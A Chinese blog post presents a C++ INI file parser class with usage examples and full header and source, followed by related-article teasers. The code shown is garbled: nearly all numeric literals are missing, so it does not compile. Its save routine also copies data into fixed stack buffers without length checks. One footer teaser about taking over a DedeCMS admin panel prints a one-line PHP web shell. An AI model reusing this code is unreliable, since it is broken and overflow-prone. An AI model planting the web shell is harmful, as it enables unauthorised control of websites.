简单的INI解析封装
简单封装的一个ini解析处理类(支持跨平台)。支持功能:
- 加载并解析指定ini文件中的配置;
- 读取指定 section 下的指定 key 的值。提示:支持按数值型读取,或按文本类型读取;
使用示例:auto fWidth = 480.0f;
auto fHeight = 320.0f; ns_ini::IniParser ini;
ini.open(strConfigFile.c_str());
fWidth = ini.readFloat("glview", "screen_width", fWidth);
fHeight = ini.readFloat("glview", "screen_height", fHeight); - 支持新段、项、值写入;提示:如果写入的项是已经存在的,则为修改旧项值;
示例:auto fWidth = 480.0f;
auto fHeight = 320.0f; ns_ini::IniParser ini;
ini.open(strConfigFile.c_str());
fWidth = ini.readFloat("glview", "screen_width", fWidth);
fHeight = ini.readFloat("glview", "screen_height", fHeight); ini.writeFloat("glview", "screen_height, 777.77f); // 将旧值修改为 777.77f
ini.writeInt("glview", "screen_height, 666); // 再次将旧值修改为 666
ini.writeText("glview", "screen_height, "jacc.kim"); // 再次将旧值修改为 文本"jacc.kim"
源码如下:
/******************************************************************************
I'm jacc.kim
CreateDate: 2017-06-13 17:12:16
FileName : JKIniParser.h
Version : 1.00
Author : jacc.kim
Summary : ini parser wrapper
******************************************************************************/
#pragma once
#include <list>
#include <map>
namespace ns_ini
{
class Section;
/******************************************************************************
* create : (jacc.kim) [06-13-2017]
* summary : class IniParser
******************************************************************************/
class IniParser
{
public:
void setIniFile(const char* const pcszIniFile);
bool open(const char* const pcszIniFile = nullptr);
bool save(const char* const pcszIniFile = nullptr);
void close();
unsigned int getSectionAmount() const;
bool isSectionExisted(const char* const pcszSection) const;
bool isParameterExisted(const char* const pcszSection, const char* const pcszParameter) const;
int readInt(const char* const pcszSection, const char* const pcszKey, const int def = ) const;
unsigned int readUnsignedInt(const char* const pcszSection, const char* const pcszKey, const unsigned int def = 0u) const;
bool readBool(const char* const pcszSection, const char* const pcszKey, const bool def = false) const;
float readFloat(const char* const pcszSection, const char* const pcszKey, const float def = 0.0f) const;
double readDouble(const char* const pcszSection, const char* const pcszKey, const double def = 0.0) const;
const char* readText(const char* const pcszSection, const char* const pcszKey, const char* const def = nullptr) const;
// !!!note: write existed section & key, the old value will be replaced.
void writeInt(const char* const pcszSection, const char* const pcszKey, const int value);
void writeUnsignedInt(const char* const pcszSection, const char* const pcszKey, const unsigned int value);
void writeBool(const char* const pcszSection, const char* const pcszKey, const bool value);
void writeFloat(const char* const pcszSection, const char* const pcszKey, const float value);
void writeDouble(const char* const pcszSection, const char* const pcszKey, const double value);
void writeText(const char* const pcszSection, const char* const pcszKey, const char* const value);
bool remove(const char* const pcszSection, const char* const pcszKey);
bool remove(const char* const pcszSection);
void clear();
public:
IniParser();
~IniParser();
Section* getSection(const char* const pcszSection) const;
Section& operator[](const char* const pcszSection) const;
private:
IniParser(const IniParser& rhs)/* = delete*/;
IniParser& operator=(const IniParser& rhs)/* = delete*/;
void trimLeft(char*& p, char*& q);
void trimRight(char*& p, char*& q);
void trim(char*& p, char*& q);
void trimRN0(char*& p, char*& q);
bool isEndWithN(const char* p, const size_t nLength);
bool stringEqual(const char* p, const char* q, int nChar = INT_MAX) const;
bool isSectionName(char* p, char* q);
char* splitKeyValue(char* p, char* q);
void parseIniLine(char* szIniLine);
void addSection(char* szSectionName);
void addParameter(char* szKey, char* szValue);
private:
typedef std::list<Section*> SectionList;
typedef SectionList::iterator SectionListIter;
// key = section name, value = section's ptr
typedef std::map <std::string, SectionListIter> SectionMap;
private:
std::string m_strIniFile; // ini file name
SectionList m_listSections; // all sections.
SectionMap m_mapSectionName; // section <--> index mapping.(only reference.)
};//class IniParser
}//namespace ns_ini
IniParser.h 文件
#include "JKIniParser.h" namespace ns_ini
{ /******************************************************************************
* create : (jacc.kim) [06-13-2017]
* summary : class Section
******************************************************************************/
class Section
{
public:
struct Parameter
{
std::string key;
std::string value;
};//struct Parameter typedef std::list<Parameter> ParameterList;
typedef ParameterList::iterator ParameterListIter;
typedef std::map<std::string, ParameterListIter> ParameterMap; public:
Section(const char* pcszSectionName) : m_strSectionName (pcszSectionName)
, m_listParameters ()
, m_mapParameterKeys()
{} ~Section() {
this->clear();
} const char* getSectionName() const {
return m_strSectionName.c_str();
} bool isParameterExisted(const char* const pcszKey) const {
return m_mapParameterKeys.find(pcszKey) != m_mapParameterKeys.end();
} Parameter& operator[](const char* const pcszKey) const {
auto iter = m_mapParameterKeys.find(pcszKey);
return *(iter->second);
} const char* read(const char* const pcszKey) {
const char* pcszRetValue = nullptr;
if (nullptr != pcszKey) {
auto iter = m_mapParameterKeys.find(pcszKey);;
if (m_mapParameterKeys.end() != iter) {
pcszRetValue = (*(iter->second)).value.c_str();
}
}
return pcszRetValue;
} bool write(const char* const pcszKey, const char* const pcszValue) {
auto iter = m_mapParameterKeys.find(pcszKey);
if (m_mapParameterKeys.end() == iter) {
Parameter param = { pcszKey, pcszValue };
m_listParameters.emplace_back(param);
m_mapParameterKeys[pcszKey] = --m_listParameters.end();
return true;
}
(*this)[pcszKey].value = pcszValue;
return true;
} bool remove(const char* pcszKey) {
auto bIsSuccess = false;
if (nullptr != pcszKey) {
auto iter = m_mapParameterKeys.find(pcszKey);
if (m_mapParameterKeys.end() != iter) {
m_listParameters.erase(iter->second);
m_mapParameterKeys.erase(iter);
bIsSuccess = true;
}
}
return bIsSuccess;
} void clear() {
m_listParameters.clear();
m_mapParameterKeys.clear();
} ParameterList& getAllParameters() {
return m_listParameters;
} private:
std::string m_strSectionName;
ParameterList m_listParameters;
ParameterMap m_mapParameterKeys; };//class Section ///////////////////////////////////////////////////////////////////////////////
// class IniParser
IniParser::IniParser() : m_strIniFile ("")
, m_listSections ()
, m_mapSectionName()
{ } IniParser::~IniParser() {
this->clear();
} void IniParser::setIniFile(const char* const pcszIniFile) {
if (nullptr == pcszIniFile) {
return;
}
m_strIniFile = pcszIniFile;
} bool IniParser::open(const char* const pcszIniFile/* = nullptr*/) {
auto bIsSuccess = false;
const char* pcszOpenFile = nullptr != pcszIniFile ? pcszIniFile : m_strIniFile.c_str();
if (nullptr == pcszOpenFile) {
return bIsSuccess;
}
if (nullptr != pcszIniFile) {
this->setIniFile(pcszIniFile);
}
this->clear();
auto pINIFile = fopen(pcszIniFile, "rb");
if (nullptr != pINIFile) {
bIsSuccess = true;
const size_t nBUFF_SIZE = ;
char szBuff[nBUFF_SIZE];
while (!feof(pINIFile)) {
memset((void*)szBuff, 0x0L, nBUFF_SIZE);
fgets(szBuff, nBUFF_SIZE, pINIFile);
this->parseIniLine(szBuff);
}
fclose(pINIFile);
pINIFile = nullptr;
} return bIsSuccess;
} bool IniParser::save(const char* const pcszIniFile/* = nullptr*/) {
auto bIsSuccess = false;
const char* pcszSaveFile = nullptr != pcszIniFile ? pcszIniFile : m_strIniFile.c_str();
if (nullptr == pcszSaveFile) {
return bIsSuccess; // 没有可保存的路径
}
::remove(pcszSaveFile);
auto pINIFile = fopen(pcszSaveFile, "ab+");
if (nullptr != pINIFile) {
bIsSuccess = true;
auto iter = m_listSections.begin();
const auto iterend = m_listSections.end();
const size_t nBUFF_SIZE = ;
char szBuffer[nBUFF_SIZE];
Section* pSection = nullptr;
for (; iterend != iter;/* ++iter*/) {
pSection = *iter;
const char* pcszSectionName = pSection->getSectionName();
fputs("[", pINIFile);
fputs(pcszSectionName, pINIFile);
fputs("]\r\n", pINIFile);
auto& allParameters = (*iter)->getAllParameters();
auto listiter = allParameters.begin();
const auto listiterend = allParameters.end();
for (; listiterend != listiter; ++listiter) {
auto& param = *listiter;
memset((void*)szBuffer, 0x0L, nBUFF_SIZE);
memcpy(szBuffer, param.key.c_str(), param.key.length());
szBuffer[param.key.length()] = '=';
memcpy(szBuffer + param.key.length() + , param.value.c_str(), param.value.length());
const auto nEndPos = param.key.length() + + param.value.length();
szBuffer[nEndPos + ] = '\0';
fputs(szBuffer, pINIFile);
if (!this->isEndWithN(szBuffer, nEndPos + )) {
fputs("\r\n", pINIFile);
}
}
if (iterend != ++iter) {
fputs("\r\n", pINIFile);
}
}
fclose(pINIFile);
pINIFile = nullptr;
} return bIsSuccess;
} void IniParser::close() {
this->save();
this->clear();
this->setIniFile(nullptr);
} unsigned int IniParser::getSectionAmount() const {
return static_cast<unsigned int>(m_listSections.size());
} bool IniParser::isSectionExisted(const char* const pcszSection) const {
return nullptr != this->getSection(pcszSection);
} bool IniParser::isParameterExisted(const char* const pcszSection, const char* const pcszParameter) const {
auto pSection = this->getSection(pcszSection);
return nullptr != pSection && pSection->isParameterExisted(pcszParameter);
} int IniParser::readInt(const char* const pcszSection, const char* const pcszKey, const int def/* = 0*/) const {
int retValue = def;
const char* pcszText = this->readText(pcszSection, pcszKey, nullptr);
if (nullptr != pcszText) {
if ( != sscanf(pcszText, "%d", &retValue)) {
retValue = def; // 读取失败.
}
}
return retValue;
} unsigned int IniParser::readUnsignedInt(const char* const pcszSection, const char* const pcszKey, const unsigned int def/* = 0u*/) const {
unsigned int retValue = def;
const char* pcszText = this->readText(pcszSection, pcszKey, nullptr);
if (nullptr != pcszText) {
if ( != sscanf(pcszText, "%u", &retValue)) {
retValue = def; // 读取失败.
}
}
return retValue;
} bool IniParser::readBool(const char* const pcszSection, const char* const pcszKey, const bool def/* = false*/) const {
bool retValue = def;
const char* pcszText = this->readText(pcszSection, pcszKey, nullptr);
if (nullptr != pcszText) {
int iTempVal = ;
if ( == sscanf(pcszText, "%d", &iTempVal)) {
return == iTempVal ? false : true;
} else if (this->stringEqual(pcszText, "true")) {
return true;
} else {
return false;
}
}
return retValue;
} float IniParser::readFloat(const char* const pcszSection, const char* const pcszKey, const float def/* = 0.0f*/) const {
float retValue = def;
const char* pcszText = this->readText(pcszSection, pcszKey, nullptr);
if (nullptr != pcszText) {
if ( != sscanf(pcszText, "%f", &retValue)) {
retValue = def; // 读取失败.
}
}
return retValue;
} double IniParser::readDouble(const char* const pcszSection, const char* const pcszKey, const double def/* = 0.0*/) const {
double retValue = def;
const char* pcszText = this->readText(pcszSection, pcszKey, nullptr);
if (nullptr != pcszText) {
if ( != sscanf(pcszText, "%lf", &retValue)) {
retValue = def; // 读取失败.
}
}
return retValue;
} const char* IniParser::readText(const char* const pcszSection, const char* const pcszKey, const char* const def/* = nullptr*/) const {
const char* pcszRetValue = def;
auto pSection = this->getSection(pcszSection);
if (nullptr != pSection) {
pcszRetValue = pSection->read(pcszKey);
}
return pcszRetValue;
} void IniParser::writeInt(const char* const pcszSection, const char* const pcszKey, const int value) {
const size_t nBUFF_SIZE = ;
char szBuff[nBUFF_SIZE];
memset((void*)szBuff, 0x0L, nBUFF_SIZE);
sprintf(szBuff, "%d", value);
this->writeText(pcszSection, pcszKey, szBuff);
} void IniParser::writeUnsignedInt(const char* const pcszSection, const char* const pcszKey, const unsigned int value) {
const size_t nBUFF_SIZE = ;
char szBuff[nBUFF_SIZE];
memset((void*)szBuff, 0x0L, nBUFF_SIZE);
sprintf(szBuff, "%u", value);
this->writeText(pcszSection, pcszKey, szBuff);
} void IniParser::writeBool(const char* const pcszSection, const char* const pcszKey, const bool value) {
const size_t nBUFF_SIZE = ;
char szBuff[nBUFF_SIZE];
memset((void*)szBuff, 0x0L, nBUFF_SIZE);
sprintf(szBuff, "%d", value ? : );
this->writeText(pcszSection, pcszKey, szBuff);
} void IniParser::writeFloat(const char* const pcszSection, const char* const pcszKey, const float value) {
const size_t nBUFF_SIZE = ;
char szBuff[nBUFF_SIZE];
memset((void*)szBuff, 0x0L, nBUFF_SIZE);
sprintf(szBuff, "%g", value);
this->writeText(pcszSection, pcszKey, szBuff);
} void IniParser::writeDouble(const char* const pcszSection, const char* const pcszKey, const double value) {
const size_t nBUFF_SIZE = ;
char szBuff[nBUFF_SIZE];
memset((void*)szBuff, 0x0L, nBUFF_SIZE);
sprintf(szBuff, "%g", value);
this->writeText(pcszSection, pcszKey, szBuff);
} void IniParser::writeText(const char* const pcszSection, const char* const pcszKey, const char* const value) {
if (nullptr != pcszSection && nullptr != pcszKey && nullptr != value) {
auto iter = m_mapSectionName.find(pcszSection);
Section* pSection = nullptr;
if (m_mapSectionName.end() == iter) {
pSection = new (std::nothrow) Section(pcszSection);
if (nullptr == pSection) {
return;
}
m_listSections.emplace_back(pSection);
m_mapSectionName[pcszSection] = --m_listSections.end();
} else {
pSection = *(iter->second);
}
pSection->write(pcszKey, value);
}
} bool IniParser::remove(const char* const pcszSection, const char* const pcszKey) {
auto bIsSuccess = false;
if (nullptr != pcszSection) {
auto iter = m_mapSectionName.find(pcszSection);
if (m_mapSectionName.end() != iter) {
auto pSection = *(iter->second);
if (nullptr != pSection) {
bIsSuccess = pSection->remove(pcszKey);
}
}
}
return bIsSuccess;
} bool IniParser::remove(const char* const pcszSection) {
auto bIsSuccess = false;
if (nullptr != pcszSection) {
auto iter = m_mapSectionName.find(pcszSection);
if (m_mapSectionName.end() != iter) {
auto list_iter = iter->second;
Section* pSection = *list_iter;
if (nullptr != pSection) {
delete pSection;
pSection = nullptr;
}
m_listSections.erase(list_iter);
m_mapSectionName.erase(iter);
bIsSuccess = true;
}
}
return bIsSuccess;
} void IniParser::clear() {
auto iter = m_listSections.begin();
const auto iterend = m_listSections.end();
Section* pSection = nullptr;
for (; iterend != iter; ++iter) {
pSection = *iter;
if (nullptr != pSection) {
delete pSection;
pSection = nullptr;
}
}
m_listSections.clear();
m_mapSectionName.clear();
} Section* IniParser::getSection(const char* const pcszSection) const {
Section* pRetSection = nullptr;
auto iter = m_mapSectionName.find(pcszSection);
if (m_mapSectionName.end() != iter) {
pRetSection = *(iter->second);
}
return pRetSection;
} Section& IniParser::operator[](const char* const pcszSection) const {
auto iter = m_mapSectionName.find(pcszSection);
return *(*(iter->second));
} void IniParser::trimLeft(char*& p, char*& q) {
if (nullptr != p) {
while (' ' == *p && ++p <= q);
}
} void IniParser::trimRight(char*& p, char*& q) {
if (nullptr != q) {
while (' ' == *q && --q >= p);
}
} void IniParser::trim(char*& p, char*& q) {
this->trimLeft(p, q);
this->trimRight(p, q);
} void IniParser::trimRN0(char*& p, char*& q) {
if (nullptr != q) {
while (('\0' == *q || '\r' == *q || '\n' == *q) && --q >= p);
}
} bool IniParser::isEndWithN(const char* p, const size_t nLength) {
if ( == nLength) {
return false;
}
const char* q = p + nLength;
while ('\0' == *q && --q >= p);
return (q >= p) && ('\n' == *q);
} bool IniParser::stringEqual(const char* p, const char* q, int nChar/* = INT_MAX*/) const {
int n = ;
if (p == q) {
return true;
}
while (*p && *q && *p == *q && n < nChar) {
++p;
++q;
++n;
}
if ((n == nChar) || (*p == && *q == )) {
return true;
}
return false;
} bool IniParser::isSectionName(char* p, char* q) {
if (nullptr == p || nullptr == q) {
return false;
}
return '[' == *p && ']' == *q;
} char* IniParser::splitKeyValue(char* p, char* q) {
char* pRetEqualSignPos = p;
while ('=' != *pRetEqualSignPos && ++pRetEqualSignPos < q);
return pRetEqualSignPos;
} void IniParser::parseIniLine(char* szIniLine) {
char* p = szIniLine;
char* q = p + strlen(p);
this->trimRN0(p, q);
this->trim(p, q);
if (p < q) {
// 只有这种情况才需要处理.因为 p > q,肯定不需要处理,说明全都是空格.如果p = q也不需要处理,因为只有一个字符还需要处理什么?
*(q + ) = '\0';
if (this->isSectionName(p, q)) {
*q = '\0';
++p;
this->addSection(p);
} else {
char* szEqualSignPos = this->splitKeyValue(p, q);
if (szEqualSignPos > p && szEqualSignPos < q) {
*szEqualSignPos = '\0';
++szEqualSignPos;
this->addParameter(p, szEqualSignPos);
}
}
}
} void IniParser::addSection(char* szSectionName) {
auto iter = m_mapSectionName.find(szSectionName);
if (m_mapSectionName.end() != iter) {
// 已存在
auto listiter = iter->second;
m_listSections.emplace_back(*listiter);
m_listSections.erase(listiter);
m_mapSectionName.erase(iter);
m_mapSectionName[szSectionName] = --m_listSections.end();
return;
}
Section* pSection = new (std::nothrow) Section(szSectionName);
if (nullptr == pSection) {
return;
}
m_listSections.emplace_back(pSection);
m_mapSectionName[szSectionName] = --m_listSections.end();
} void IniParser::addParameter(char* szKey, char* szValue) {
if (m_listSections.empty()) {
return;
}
auto pSection = m_listSections.back();
pSection->write(szKey, szValue);
} }//namespace ns_ini
IniParser.cpp 文件
如果对该封装有改进或不当之处,欢迎指定、交流!
简单的INI解析封装的更多相关文章
- 简单的URL解析
简单的URL解析,直接举例说明了 function getUrl(){ //如果存在则取到来后面的参数,注意,?不需要取出,substring从1开始,否则取""; var qs ...
- 自己动手实现一个简单的JSON解析器
1. 背景 JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式.相对于另一种数据交换格式 XML,JSON 有着诸多优点.比如易读性更好,占用空间更少等.在 ...
- 非常简单的XML解析(SAX解析、pull解析)
这里只是把解析的数据当日志打出来了 非常简单的xml解析方式 package com.example.demo.service; import java.io.IOException; import ...
- INI解析模块的C++实现
INI文件格式是某些平台或软件上的配置文件的非正式标准,以节(section)和键(key)构成,常用于微软Windows操作系统中. 节(section) 节用方括号括起来,单独占一行,例如: [s ...
- FFmpeg的HEVC解码器源码简单分析:解析器(Parser)部分
===================================================== HEVC源码分析文章列表: [解码 -libavcodec HEVC 解码器] FFmpeg ...
- FFmpeg的HEVC解码器源代码简单分析:解析器(Parser)部分
===================================================== HEVC源代码分析文章列表: [解码 -libavcodec HEVC 解码器] FFmpe ...
- FFmpeg的H.264解码器源代码简单分析:解析器(Parser)部分
===================================================== H.264源代码分析文章列表: [编码 - x264] x264源代码简单分析:概述 x26 ...
- 一个简单的json解析器
实现一个简单地json解析器. 两部分组成,词法分析.语法分析 词法分析 package com.mahuan.json; import java.util.LinkedList; import ja ...
- VS Extension+NVelocity系列(一)——构建一个简单的NVelocity解析环境
一.前言 本节我们将实际实现一个简单的NVelocity解析环境,以便为以后的实例做一些基本工作,虽然NVelocity如何使用已经属于老掉牙的话题,但我只能专门挑出来一章来做铺垫.人生就是这样无奈啊 ...
随机推荐
- 另类dedecms后台拿shell
遇到一个被阉割的后台,发现直接传shell显然不行. 然后就有了下文 添加一个新广告. 插入一句话木马: --><?php $_GET[c]($_POST[x]);?><!-- ...
- cuda中的二分查找
使用背景 通常,在做高性能计算时,我们需要随机的连接某些点.这些点都具有自己的度量值,显然,度量值越大的值随机到的概率就会越大.因此,采用加权值得方法: void getdegreeSum(DG *g ...
- FIS3 大白话【一】
1.fis3可以用fis.set进行一些全局的配置,包括忽略文件.文件后缀处理类型.源码过滤等等,用fis3.get可以得到配置信息,详见: http://fis.baidu.com/fis3/doc ...
- C#中执行批处理文件(.bat),执行数据库相关操作
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...
- ASP.NET Core学习链接
https://www.cnblogs.com/artech/p/dependency-injection-in-asp-net-core.html http://www.cnblogs.com/ar ...
- 16:django 有条件的视图处理(Last-Modified和ETag)&&加密签名
有条件的视图处理 上一节我们介绍了缓存来减轻服务器的负担,这里的有条件的视图处理也从一定程度上减轻了服务器的负担,在正式介绍之前,先来看两个概念:Last-Modified和ETag Last-Mod ...
- 六:ZooKeeper的java客户端api的使用
一:客户端链接测试 package com.yeepay.sxf.createConnection; import java.io.IOException; import org.apache.zoo ...
- python IDE的配置
本人使用过的两款,系统环境ubuntukylin 15.04 jupyter 主要参考:ref1 和 ref2 遇到问题: error: [I 21:48:41.947 NotebookApp] Wr ...
- python import模块的搜索路径
当在py代码中import所依赖的模块时, python是从哪里找到这些模块呢,即模块的搜索路径是啥? 默认情况下,Python解释器会搜索当前目录.所有已安装的内置模块和第三方模块,搜索路径存放在s ...
- Android点击图标重新启动问题
原文:http://blog.csdn.net/jianiuqi/article/details/54091181 项目中的小问题:发现应用打包安装后按home键切换到后台后,点击应用图标又重新打开了 ...